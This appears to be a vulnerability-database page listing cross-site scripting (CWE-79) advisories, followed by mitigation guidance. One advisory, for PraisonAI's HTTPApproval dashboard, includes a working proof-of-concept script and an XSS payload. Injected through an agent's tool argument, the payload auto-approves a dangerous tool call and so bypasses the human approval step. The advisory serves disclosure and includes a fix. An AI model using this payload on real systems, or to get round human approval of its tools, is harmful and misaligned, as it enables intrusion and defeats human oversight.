CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
67459 vulnerabilities reference this CWE, most recent first.
GHSA-63QR-XQ88-P5VV
Vulnerability from github – Published: 2023-01-03 00:30 – Updated: 2023-01-09 21:30Inappropriate implementation in HTML parser in Google Chrome prior to 99.0.4844.51 allowed a remote attacker to bypass XSS preventions via a crafted HTML page. (Chrome security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2022-0801"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-02T23:15:00Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in HTML parser in Google Chrome prior to 99.0.4844.51 allowed a remote attacker to bypass XSS preventions via a crafted HTML page. (Chrome security severity: Medium)",
"id": "GHSA-63qr-xq88-p5vv",
"modified": "2023-01-09T21:30:22Z",
"published": "2023-01-03T00:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0801"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2022/03/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://crbug.com/1231037"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-63R5-MG44-92QX
Vulnerability from github – Published: 2022-05-02 03:22 – Updated: 2022-05-02 03:22Cross-site scripting (XSS) vulnerability in apps/web/vs_diag.cgi in the DAAP extension in Banshee 1.4.2 allows remote attackers to inject arbitrary web script or HTML via the server parameter, which is not properly handled in an error message.
{
"affected": [],
"aliases": [
"CVE-2009-1175"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-03-31T14:09:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in apps/web/vs_diag.cgi in the DAAP extension in Banshee 1.4.2 allows remote attackers to inject arbitrary web script or HTML via the server parameter, which is not properly handled in an error message.",
"id": "GHSA-63r5-mg44-92qx",
"modified": "2022-05-02T03:22:28Z",
"published": "2022-05-02T03:22:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-1175"
},
{
"type": "WEB",
"url": "http://bugzilla.gnome.org/show_bug.cgi?id=577270"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2009/03/30/2"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-63V4-W882-G4X2
Vulnerability from github – Published: 2026-06-18 13:52 – Updated: 2026-07-20 21:23HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools
Summary
praisonai.bots.HTTPApproval renders pending tool approval arguments directly
into the approval dashboard HTML. An attacker-controlled tool argument can
inject JavaScript into that page. When a human opens the approval URL to inspect
the risky tool request, the script runs in the dashboard origin and can POST to
the same request's /approve/{request_id}/decide endpoint, causing
HTTPApproval to return approved=True.
The local PoV uses a harmless touch /tmp/prai010 # command prefix and stops at
the approval decision. It does not execute the command.
Affected Versions
Proposed affected range: >= 4.5.2, <= 4.6.57.
Validated affected:
- current head
2f9677abb2ea68eab864ee8b6a828fd0141612e1(v4.6.57-4-g2f9677ab) v4.5.2v4.5.3v4.5.124v4.5.126v4.5.128v4.6.10v4.6.56v4.6.57
v4.5.0 and v4.5.1 do not contain the HTTPApproval backend.
Impact
An attacker who can influence an agent task or prompt enough to produce a dangerous tool call can embed a short XSS payload in the tool argument. When the human approver opens the HTTP approval page, the script can approve the pending dangerous tool call before the human explicitly clicks Approve or Deny.
This bypasses the human-in-the-loop approval boundary for dangerous tools such
as execute_command, execute_code, delete_file, or other tools gated
through HTTPApproval. If the agent continues after approval, the dangerous
tool runs with the privileges of the PraisonAI process.
Why This Is Not Intended Behavior
PraisonAI documentation describes approval as a safety control that pauses an
agent before risky tools and asks a human or configured channel to allow or deny
execution. The documentation also lists http as a supported non-console
approval backend.
Opening the approval page to inspect a risky command should not itself approve the command. The current behavior allows attacker-controlled tool arguments to execute script in the approval page and submit the approval action.
This is distinct from the previously published stored-XSS advisory for agent
output rendering. That advisory concerned src/praisonai/api.py and missing
nh3 sanitization in older versions. This report concerns the HTTPApproval
dashboard sink and remains present in current head.
Root Cause
In src/praisonai/praisonai/bots/_http_approval.py, _build_html() builds the
approval page with raw f-string interpolation:
- argument keys and values are appended to
args_htmlwithout HTML escaping; tool_name,risk_level, andagent_nameare also interpolated into the returned HTML;- the generated page contains same-origin JavaScript that posts to
/approve/{request_id}/decide.
_handle_decide() accepts JSON from that endpoint and marks the pending request
approved when decision == "approve".
Because the approval page is generated from the pending request's unescaped tool
arguments, an injected script can call the same endpoint that the legitimate
Approve button uses. The request id is unguessable, but the script runs inside
the loaded approval page and can derive the endpoint from location.pathname.
Reproduction
The PoV is local-only and does not execute the dangerous tool command. Run it
from a PraisonAI checkout or environment where praisonai and
praisonaiagents import from the candidate version.
import asyncio
import json
import socket
import aiohttp
from praisonai.bots._http_approval import HTTPApproval
from praisonaiagents.approval.protocols import ApprovalRequest
def free_port():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.bind(("127.0.0.1", 0))
return sock.getsockname()[1]
payload = (
"touch /tmp/prai010 # "
"</code><script>"
"fetch(location.pathname+'/decide',{"
"method:'POST',headers:{'Content-Type':'application/json'},"
"body:'{\"decision\":\"approve\"}'})"
"</script><code>"
)
async def main():
backend = HTTPApproval(host="127.0.0.1", port=free_port(), timeout=5)
request = ApprovalRequest(
tool_name="execute_command",
arguments={"command": payload},
risk_level="critical",
agent_name="pov-agent",
)
task = asyncio.create_task(backend.request_approval(request))
request_id = ""
for _ in range(100):
if backend._pending:
request_id = next(iter(backend._pending))
break
await asyncio.sleep(0.05)
assert request_id
url = f"http://127.0.0.1:{backend._port}/approve/{request_id}"
async with aiohttp.ClientSession() as session:
async with session.get(url) as response:
page = await response.text()
raw_script_present = "<script>fetch(location.pathname+'/decide'" in page
script_not_html_escaped = "<script" not in page
payload_uses_same_origin_decide_endpoint = "fetch(location.pathname+'/decide'" in page
payload_not_truncated = "..." not in page[
page.find("<script>"):page.find("<script>") + len(payload) + 10
]
assert raw_script_present
assert script_not_html_escaped
assert payload_not_truncated
# Same request the injected same-origin script submits.
async with session.post(f"{url}/decide", json={"decision": "approve"}) as response:
post_body = await response.text()
decision = await task
await backend.shutdown()
print(json.dumps({
"payload_len": len(payload),
"payload_shell_prefix": "touch /tmp/prai010",
"raw_script_present": raw_script_present,
"script_not_html_escaped": script_not_html_escaped,
"payload_uses_same_origin_decide_endpoint": payload_uses_same_origin_decide_endpoint,
"payload_not_truncated": payload_not_truncated,
"post_body": post_body,
"decision_approved": decision.approved,
"decision_reason": decision.reason,
"vulnerable": bool(
raw_script_present
and script_not_html_escaped
and payload_uses_same_origin_decide_endpoint
and payload_not_truncated
and decision.approved
),
}, indent=2))
asyncio.run(main())
Expected affected output includes:
{
"payload_len": 175,
"payload_shell_prefix": "touch /tmp/prai010",
"raw_script_present": true,
"script_not_html_escaped": true,
"payload_uses_same_origin_decide_endpoint": true,
"payload_not_truncated": true,
"decision_approved": true,
"vulnerable": true
}
The relevant injected argument shape is:
touch /tmp/prai010 # </code><script>fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{"decision":"approve"}'})</script><code>
The shell prefix demonstrates that the same argument can be executable shell syntax after approval; the PoV stops before executing the tool.
Suggested Fix
Escape every untrusted value before inserting it into the approval HTML:
tool_namerisk_levelagent_name- every argument key
- every argument value
For example, use html.escape(str(value), quote=True) or a template engine that
auto-escapes by default. Add regression tests that include </code><script>...
in tool arguments and assert that the rendered page contains escaped text, not a
script element.
Minimal patch shape:
from html import escape
def h(value: object) -> str:
return escape(str(value), quote=True)
tool_name = h(info.get("tool_name", "unknown"))
risk_level = h(info.get("risk_level", "unknown"))
agent_name = h(info.get("agent_name", ""))
args_html = ""
for k, v in arguments.items():
val_str = str(v)
if len(val_str) > 200:
val_str = val_str[:197] + "..."
args_html += (
f"<tr><td><code>{h(k)}</code></td>"
f"<td><code>{h(val_str)}</code></td></tr>"
)
Additional hardening:
- avoid inline JavaScript and add a restrictive Content Security Policy;
- keep the request id as an unguessable capability, but do not rely on it as an XSS defense;
- consider requiring a per-request decision token outside attacker-controlled rendered argument fields.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.58"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "4.5.2"
},
{
"fixed": "4.6.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56840"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T13:52:59Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools\n\n## Summary\n\n`praisonai.bots.HTTPApproval` renders pending tool approval arguments directly\ninto the approval dashboard HTML. An attacker-controlled tool argument can\ninject JavaScript into that page. When a human opens the approval URL to inspect\nthe risky tool request, the script runs in the dashboard origin and can POST to\nthe same request\u0027s `/approve/{request_id}/decide` endpoint, causing\n`HTTPApproval` to return `approved=True`.\n\nThe local PoV uses a harmless `touch /tmp/prai010 #` command prefix and stops at\nthe approval decision. It does not execute the command.\n\n## Affected Versions\n\nProposed affected range: `\u003e= 4.5.2, \u003c= 4.6.57`.\n\nValidated affected:\n\n- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n (`v4.6.57-4-g2f9677ab`)\n- `v4.5.2`\n- `v4.5.3`\n- `v4.5.124`\n- `v4.5.126`\n- `v4.5.128`\n- `v4.6.10`\n- `v4.6.56`\n- `v4.6.57`\n\n`v4.5.0` and `v4.5.1` do not contain the HTTPApproval backend.\n\n## Impact\n\nAn attacker who can influence an agent task or prompt enough to produce a\ndangerous tool call can embed a short XSS payload in the tool argument. When the\nhuman approver opens the HTTP approval page, the script can approve the pending\ndangerous tool call before the human explicitly clicks Approve or Deny.\n\nThis bypasses the human-in-the-loop approval boundary for dangerous tools such\nas `execute_command`, `execute_code`, `delete_file`, or other tools gated\nthrough `HTTPApproval`. If the agent continues after approval, the dangerous\ntool runs with the privileges of the PraisonAI process.\n\n## Why This Is Not Intended Behavior\n\nPraisonAI documentation describes approval as a safety control that pauses an\nagent before risky tools and asks a human or configured channel to allow or deny\nexecution. The documentation also lists `http` as a supported non-console\napproval backend.\n\nOpening the approval page to inspect a risky command should not itself approve\nthe command. The current behavior allows attacker-controlled tool arguments to\nexecute script in the approval page and submit the approval action.\n\nThis is distinct from the previously published stored-XSS advisory for agent\noutput rendering. That advisory concerned `src/praisonai/api.py` and missing\n`nh3` sanitization in older versions. This report concerns the `HTTPApproval`\ndashboard sink and remains present in current head.\n\n## Root Cause\n\nIn `src/praisonai/praisonai/bots/_http_approval.py`, `_build_html()` builds the\napproval page with raw f-string interpolation:\n\n- argument keys and values are appended to `args_html` without HTML escaping;\n- `tool_name`, `risk_level`, and `agent_name` are also interpolated into the\n returned HTML;\n- the generated page contains same-origin JavaScript that posts to\n `/approve/{request_id}/decide`.\n\n`_handle_decide()` accepts JSON from that endpoint and marks the pending request\napproved when `decision == \"approve\"`.\n\nBecause the approval page is generated from the pending request\u0027s unescaped tool\narguments, an injected script can call the same endpoint that the legitimate\nApprove button uses. The request id is unguessable, but the script runs inside\nthe loaded approval page and can derive the endpoint from `location.pathname`.\n\n## Reproduction\n\nThe PoV is local-only and does not execute the dangerous tool command. Run it\nfrom a PraisonAI checkout or environment where `praisonai` and\n`praisonaiagents` import from the candidate version.\n\n```python\nimport asyncio\nimport json\nimport socket\n\nimport aiohttp\nfrom praisonai.bots._http_approval import HTTPApproval\nfrom praisonaiagents.approval.protocols import ApprovalRequest\n\n\ndef free_port():\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n sock.bind((\"127.0.0.1\", 0))\n return sock.getsockname()[1]\n\n\npayload = (\n \"touch /tmp/prai010 # \"\n \"\u003c/code\u003e\u003cscript\u003e\"\n \"fetch(location.pathname+\u0027/decide\u0027,{\"\n \"method:\u0027POST\u0027,headers:{\u0027Content-Type\u0027:\u0027application/json\u0027},\"\n \"body:\u0027{\\\"decision\\\":\\\"approve\\\"}\u0027})\"\n \"\u003c/script\u003e\u003ccode\u003e\"\n)\n\n\nasync def main():\n backend = HTTPApproval(host=\"127.0.0.1\", port=free_port(), timeout=5)\n request = ApprovalRequest(\n tool_name=\"execute_command\",\n arguments={\"command\": payload},\n risk_level=\"critical\",\n agent_name=\"pov-agent\",\n )\n task = asyncio.create_task(backend.request_approval(request))\n\n request_id = \"\"\n for _ in range(100):\n if backend._pending:\n request_id = next(iter(backend._pending))\n break\n await asyncio.sleep(0.05)\n assert request_id\n\n url = f\"http://127.0.0.1:{backend._port}/approve/{request_id}\"\n async with aiohttp.ClientSession() as session:\n async with session.get(url) as response:\n page = await response.text()\n raw_script_present = \"\u003cscript\u003efetch(location.pathname+\u0027/decide\u0027\" in page\n script_not_html_escaped = \"\u0026lt;script\" not in page\n payload_uses_same_origin_decide_endpoint = \"fetch(location.pathname+\u0027/decide\u0027\" in page\n payload_not_truncated = \"...\" not in page[\n page.find(\"\u003cscript\u003e\"):page.find(\"\u003cscript\u003e\") + len(payload) + 10\n ]\n assert raw_script_present\n assert script_not_html_escaped\n assert payload_not_truncated\n\n # Same request the injected same-origin script submits.\n async with session.post(f\"{url}/decide\", json={\"decision\": \"approve\"}) as response:\n post_body = await response.text()\n\n decision = await task\n await backend.shutdown()\n print(json.dumps({\n \"payload_len\": len(payload),\n \"payload_shell_prefix\": \"touch /tmp/prai010\",\n \"raw_script_present\": raw_script_present,\n \"script_not_html_escaped\": script_not_html_escaped,\n \"payload_uses_same_origin_decide_endpoint\": payload_uses_same_origin_decide_endpoint,\n \"payload_not_truncated\": payload_not_truncated,\n \"post_body\": post_body,\n \"decision_approved\": decision.approved,\n \"decision_reason\": decision.reason,\n \"vulnerable\": bool(\n raw_script_present\n and script_not_html_escaped\n and payload_uses_same_origin_decide_endpoint\n and payload_not_truncated\n and decision.approved\n ),\n }, indent=2))\n\n\nasyncio.run(main())\n```\n\nExpected affected output includes:\n\n```json\n{\n \"payload_len\": 175,\n \"payload_shell_prefix\": \"touch /tmp/prai010\",\n \"raw_script_present\": true,\n \"script_not_html_escaped\": true,\n \"payload_uses_same_origin_decide_endpoint\": true,\n \"payload_not_truncated\": true,\n \"decision_approved\": true,\n \"vulnerable\": true\n}\n```\n\nThe relevant injected argument shape is:\n\n```text\ntouch /tmp/prai010 # \u003c/code\u003e\u003cscript\u003efetch(location.pathname+\u0027/decide\u0027,{method:\u0027POST\u0027,headers:{\u0027Content-Type\u0027:\u0027application/json\u0027},body:\u0027{\"decision\":\"approve\"}\u0027})\u003c/script\u003e\u003ccode\u003e\n```\n\nThe shell prefix demonstrates that the same argument can be executable shell\nsyntax after approval; the PoV stops before executing the tool.\n\n## Suggested Fix\n\nEscape every untrusted value before inserting it into the approval HTML:\n\n- `tool_name`\n- `risk_level`\n- `agent_name`\n- every argument key\n- every argument value\n\nFor example, use `html.escape(str(value), quote=True)` or a template engine that\nauto-escapes by default. Add regression tests that include `\u003c/code\u003e\u003cscript\u003e...`\nin tool arguments and assert that the rendered page contains escaped text, not a\nscript element.\n\nMinimal patch shape:\n\n```python\nfrom html import escape\n\n\ndef h(value: object) -\u003e str:\n return escape(str(value), quote=True)\n\n\ntool_name = h(info.get(\"tool_name\", \"unknown\"))\nrisk_level = h(info.get(\"risk_level\", \"unknown\"))\nagent_name = h(info.get(\"agent_name\", \"\"))\n\nargs_html = \"\"\nfor k, v in arguments.items():\n val_str = str(v)\n if len(val_str) \u003e 200:\n val_str = val_str[:197] + \"...\"\n args_html += (\n f\"\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e{h(k)}\u003c/code\u003e\u003c/td\u003e\"\n f\"\u003ctd\u003e\u003ccode\u003e{h(val_str)}\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\"\n )\n```\n\nAdditional hardening:\n\n- avoid inline JavaScript and add a restrictive Content Security Policy;\n- keep the request id as an unguessable capability, but do not rely on it as an\n XSS defense;\n- consider requiring a per-request decision token outside attacker-controlled\n rendered argument fields.",
"id": "GHSA-63v4-w882-g4x2",
"modified": "2026-07-20T21:23:51Z",
"published": "2026-06-18T13:52:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-63v4-w882-g4x2"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools"
}
GHSA-63V6-7XM2-3VHJ
Vulnerability from github – Published: 2024-08-18 15:34 – Updated: 2024-08-18 15:34Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in PickPlugins Team Showcase allows Stored XSS.This issue affects Team Showcase: from n/a through 1.22.23.
{
"affected": [],
"aliases": [
"CVE-2024-43321"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-18T15:15:04Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (XSS or \u0027Cross-site Scripting\u0027) vulnerability in PickPlugins Team Showcase allows Stored XSS.This issue affects Team Showcase: from n/a through 1.22.23.",
"id": "GHSA-63v6-7xm2-3vhj",
"modified": "2024-08-18T15:34:34Z",
"published": "2024-08-18T15:34:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43321"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/team/wordpress-team-showcase-plugin-1-22-23-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-63V7-WH6Q-2RQR
Vulnerability from github – Published: 2023-12-07 09:30 – Updated: 2023-12-09 06:30BoidCMS 2.0.1 is vulnerable to Multiple Stored Cross-Site Scripting (XSS) issues via the title, subtitle, footer, or keywords parameter in a page=create action.
{
"affected": [],
"aliases": [
"CVE-2023-48824"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-07T07:15:10Z",
"severity": "MODERATE"
},
"details": "BoidCMS 2.0.1 is vulnerable to Multiple Stored Cross-Site Scripting (XSS) issues via the title, subtitle, footer, or keywords parameter in a page=create action.",
"id": "GHSA-63v7-wh6q-2rqr",
"modified": "2023-12-09T06:30:19Z",
"published": "2023-12-07T09:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48824"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176031"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-63V8-38HF-JRFM
Vulnerability from github – Published: 2026-02-20 18:31 – Updated: 2026-02-24 00:31Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in itex iMoney imoney allows Reflected XSS.This issue affects iMoney: from n/a through <= 0.36.
{
"affected": [],
"aliases": [
"CVE-2025-69392"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-20T16:22:24Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in itex iMoney imoney allows Reflected XSS.This issue affects iMoney: from n/a through \u003c= 0.36.",
"id": "GHSA-63v8-38hf-jrfm",
"modified": "2026-02-24T00:31:33Z",
"published": "2026-02-20T18:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69392"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/imoney/vulnerability/wordpress-imoney-plugin-0-36-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-63VR-PPCF-2WWM
Vulnerability from github – Published: 2026-01-23 15:31 – Updated: 2026-01-23 22:35Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Devsbrain Flex QR Code Generator flex-qr-code-generator allows DOM-Based XSS.This issue affects Flex QR Code Generator: from n/a through <= 1.2.8.
{
"affected": [],
"aliases": [
"CVE-2026-24614"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-23T15:16:20Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in Devsbrain Flex QR Code Generator flex-qr-code-generator allows DOM-Based XSS.This issue affects Flex QR Code Generator: from n/a through \u003c= 1.2.8.",
"id": "GHSA-63vr-ppcf-2wwm",
"modified": "2026-01-23T22:35:51Z",
"published": "2026-01-23T15:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24614"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/flex-qr-code-generator/vulnerability/wordpress-flex-qr-code-generator-plugin-1-2-8-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-63VR-QWF8-72QV
Vulnerability from github – Published: 2023-12-14 18:30 – Updated: 2023-12-19 18:30In WhatsUp Gold versions released before 2023.1, a stored cross-site scripting (XSS) vulnerability has been identified. It is possible for an attacker to craft a XSS payload and store that value within Alert Center.
If a WhatsUp Gold user interacts with the crafted payload, the attacker would be able to execute malicious JavaScript within the context of the victims browser.
{
"affected": [],
"aliases": [
"CVE-2023-6366"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-14T16:15:53Z",
"severity": "HIGH"
},
"details": "\nIn WhatsUp Gold versions released before 2023.1, a stored cross-site scripting (XSS) vulnerability has been identified. It is possible for an attacker to craft a XSS payload and store that value within Alert Center. \u00a0\n\nIf a WhatsUp Gold user interacts with the crafted payload, the attacker would be able to execute malicious JavaScript within the context of the victims browser.\n\n",
"id": "GHSA-63vr-qwf8-72qv",
"modified": "2023-12-19T18:30:30Z",
"published": "2023-12-14T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6366"
},
{
"type": "WEB",
"url": "https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-December-2023"
},
{
"type": "WEB",
"url": "https://www.progress.com/network-monitoring"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-63VW-C7J3-FMF8
Vulnerability from github – Published: 2025-01-07 18:30 – Updated: 2026-04-01 18:33Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WORDPRESTEEM WE Blocks allows Stored XSS.This issue affects WE Blocks: from n/a through 1.3.5.
{
"affected": [],
"aliases": [
"CVE-2025-22529"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-07T16:15:48Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in WORDPRESTEEM WE Blocks allows Stored XSS.This issue affects WE Blocks: from n/a through 1.3.5.",
"id": "GHSA-63vw-c7j3-fmf8",
"modified": "2026-04-01T18:33:03Z",
"published": "2025-01-07T18:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22529"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/we-blocks/vulnerability/wordpress-we-blocks-1-3-5-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-63W7-G889-PGJ2
Vulnerability from github – Published: 2024-07-22 09:31 – Updated: 2024-07-22 09:31Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Vsourz Digital All In One Redirection allows Reflected XSS.This issue affects All In One Redirection: from n/a through 2.2.0.
{
"affected": [],
"aliases": [
"CVE-2024-37245"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-22T09:15:05Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Input During Web Page Generation (XSS or \u0027Cross-site Scripting\u0027) vulnerability in Vsourz Digital All In One Redirection allows Reflected XSS.This issue affects All In One Redirection: from n/a through 2.2.0.",
"id": "GHSA-63w7-g889-pgj2",
"modified": "2024-07-22T09:31:55Z",
"published": "2024-07-22T09:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37245"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/all-in-one-redirection/wordpress-all-in-one-redirection-plugin-2-2-0-cross-site-scripting-xss-vulnerability-2?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
